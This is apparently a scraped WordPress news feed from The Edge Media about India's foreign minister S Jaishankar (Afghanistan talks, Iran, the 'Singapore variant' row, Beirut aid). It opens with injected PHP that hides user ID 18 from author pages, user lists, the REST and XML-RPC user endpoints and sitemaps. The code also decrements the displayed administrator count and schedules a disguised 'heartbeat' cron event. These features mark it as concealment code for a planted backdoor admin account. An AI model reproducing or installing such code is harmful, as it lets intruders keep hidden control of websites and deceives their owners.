add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post EAM Jaishankar will attend a key meeting on Afghanistan this week appeared first on The Edge Media.
]]>S Jaishankar, India’s external affairs minister, will travel to Tajikistan this week for a major discussion on Afghanistan, where he will meet with counterparts from numerous nations, including Iran, to discuss the quickly changing situation in the war-torn country.
On September 17, Prime Minister Narendra Modi will virtually attend the Shanghai Cooperation Organization (SCO) summit of heads of state, while Jaishankar will represent India at the SCO and Russia-led Collective Security Treaty Organization (CSTO) conference on Afghanistan.
The post EAM Jaishankar will attend a key meeting on Afghanistan this week appeared first on The Edge Media.
]]>The post External Affairs Minister Passes On Message On Behalf Of PM To Iran’s President appeared first on The Edge Media.
]]>Prime Minister Modi welcomed President-elect Raisi last month, saying he looked forward more to cooperating with him to improve India-Iran relationships.
During his brief visit to Tehran, Jaishankar met with his Iranian counterpart, Javad Zarif, and discussed a variety of bilateral and regional issues.
The post External Affairs Minister Passes On Message On Behalf Of PM To Iran’s President appeared first on The Edge Media.
]]>The post “Singapore variant” originated in India appeared first on The Edge Media.
]]>In the statement they have made it clear, it is the B.1.617.2 variant, which originated in India. Phylogenetic testing has shown this B.1.617.2 variant to be associated with several clusters in Singapore. “There is no truth whatsoever in the assertion found within the reports. “, it said.
External affairs minister of India, S Jaishankar has also tweeted in response to this. He said “Irresponsible comments can damage long standing partnerships”. He also added that the Delhi Chief Minister does not speak for India and that the Delhi Chief Minister had no competence to pronounce on variants.
There is no truth in the assertion that there is a new COVID strain in Singapore. Phylogenetic testing has shown that the B.1.617.2 variant is the prevalent strain in many of the COVID cases, including in children, in recent weeks in Singapore.https://t.co/uz0mNPNxlE https://t.co/Vyj7gyyzvJ
— Singapore in India (@SGinIndia) May 18, 2021
Politicians should stick to facts!
There is no “Singapore variant”. https://t.co/SNJaF7wkwC https://t.co/pNgw4bkV4H— Vivian Balakrishnan (@VivianBala) May 19, 2021
However, irresponsible comments from those who should know better can damage long-standing partnerships.
So, let me clarify- Delhi CM does not speak for India.
— Dr. S. Jaishankar (Modi Ka Parivar) (@DrSJaishankar) May 19, 2021
The post “Singapore variant” originated in India appeared first on The Edge Media.
]]>The post Emergency Aid Sent From India To Beirut appeared first on The Edge Media.
]]>“India demonstrates solidarity with the people of Lebanon in the aftermath of the tragic explosions in Beirut. 58 MT of emergency humanitarian aid, including crucial medical and food supplies, is on its way to Beirut in IAF C17 aircraft,” external affairs minister S Jaishankar said in a tweet on Friday.
The August 4 blast, which killed more than 170 people, wounded thousands and left tens of thousands homeless, is believed to have been caused when a fire touched off a stockpile of 2,750 tonnes of highly explosive ammonium nitrate, according to reports. The ministry of external affairs had said last week that India has sought from the Lebanese government an assessment of damage caused by the blast, based on which it will decide on the nature of assistance it will extend to the West Asian country.
– PTI
The post Emergency Aid Sent From India To Beirut appeared first on The Edge Media.
]]>